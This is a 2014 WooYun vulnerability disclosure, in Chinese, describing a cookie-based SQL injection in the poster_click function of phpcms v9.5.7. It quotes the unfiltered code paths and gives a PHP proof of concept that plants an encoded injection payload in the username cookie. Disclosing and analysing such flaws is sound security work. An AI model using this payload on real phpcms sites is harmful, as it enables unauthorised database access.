当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-066350

漏洞标题:phpcms最新版本SQL注射漏洞(有限制)

相关厂商:phpcms

漏洞作者: 路人甲

提交时间:2014-06-27 12:09

修复时间:2014-09-22 12:10

公开时间:2014-09-22 12:10

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-27: 细节已通知厂商并且等待厂商处理中
2014-07-02: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-08-26: 细节向核心白帽子及相关领域专家公开
2014-09-05: 细节向普通白帽子公开
2014-09-15: 细节向实习白帽子公开
2014-09-22: 细节向公众公开

简要描述:

该漏洞出现在代码对未对COOKIE做严格过滤,造成SQL注射。

详细说明:

测试版本:phpcms_v9.5.7_UTF8
漏洞简述:该漏洞出现在代码对未对COOKIE做严格过滤,造成SQL注射。
漏洞文件:phpcms\modules\poster\index.php
测试链接:http://127.0.0.1/phpcms/index.php?m=poster&c=index&a=poster_click&id=1

/**
* 统计广告点击次数
*
*/
public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false; //这里抓包可以很容易得到广告位ID
$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
//问题出在这里,直接从COOKIE中获取$_COOKIE['username'],下文分析其中存在的过滤
if($id) {
//确保$_GET['id'] 值大于 1
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>safe_replace(HTTP_REFERER), 'clicktime'=>SYS_TIME, 'type'=> 1));
//上面insert在this->s_db->insert()函数中未过滤$useranme,然而该函数也没有过滤,导致直接注入
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
header('Location: '.$url);
}


phpcms\libs\classes\param.class.php

/**
* 获取通过 set_cookie 设置的 cookie 变量
* @param string $var 变量名
* @param string $default 默认值
* @return mixed 成功则返回cookie 值,否则返回 false
*/
public static function get_cookie($var, $default = '') {
$var = pc_base::load_config('system','cookie_pre').$var;
$value = isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default;

//这里虽然过滤了一些数据,但是我们注入COOKIE的数据$var='username'这两个分支都不会执行
//因此我们注入的数据是不受限制的
if(in_array($var,array('_userid','siteid'))) {
$value = intval($value);
} elseif($var=='_usename') {
$value = safe_replace($value);
}
return $value;
}

漏洞证明:

通过以上分析,需要首先将SQL语句注入到COOKIE中,然后直接访问http://127.0.0.1/phpcms/index.php?m=poster&c=index&a=poster_click&id=1 (访问该链接前需要设置COOKIE才能注入成功)
即可完成注入。下面是注入显示版本号。

phpcms.png


下图是通过SQL命令显示的版本号:

phpcms2.png


测试代码:

<?php 
$_COOKIE['username']="7c46CQRVUVMDUlYIBgNTA1IIVlZSWFADWlUABQcEQVAITwlME0lJMHYuI3tiFAYQdmspeEQRQlFUVQFDFgFbRg1CThMdSQIMXQEHTB5SW19fS05HBVdVHAgZSAUfThxgJnojemBFFwZBEQ9XWBweGRlYRlMWVlwUUV4EWEQPVUcKWQhmRwYJBl4DSExXVltVQxkBRwtMQRRaSUJWHwAdH0QHXwsaVFdbHVBICQYFEBwXHkoSVQ0BBw8IUwEFUhMfRAdBEA9G";
header('location:http://192.168.2.106/phpcms/index.php?m=poster&c=index&a=poster_click&id=1');
?>

修复方案:

COOKIE也是注入中不可忽视的,还是可以再get_cookie函数中严格过滤。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-09-22 12:10

厂商回复:

最新状态:

暂无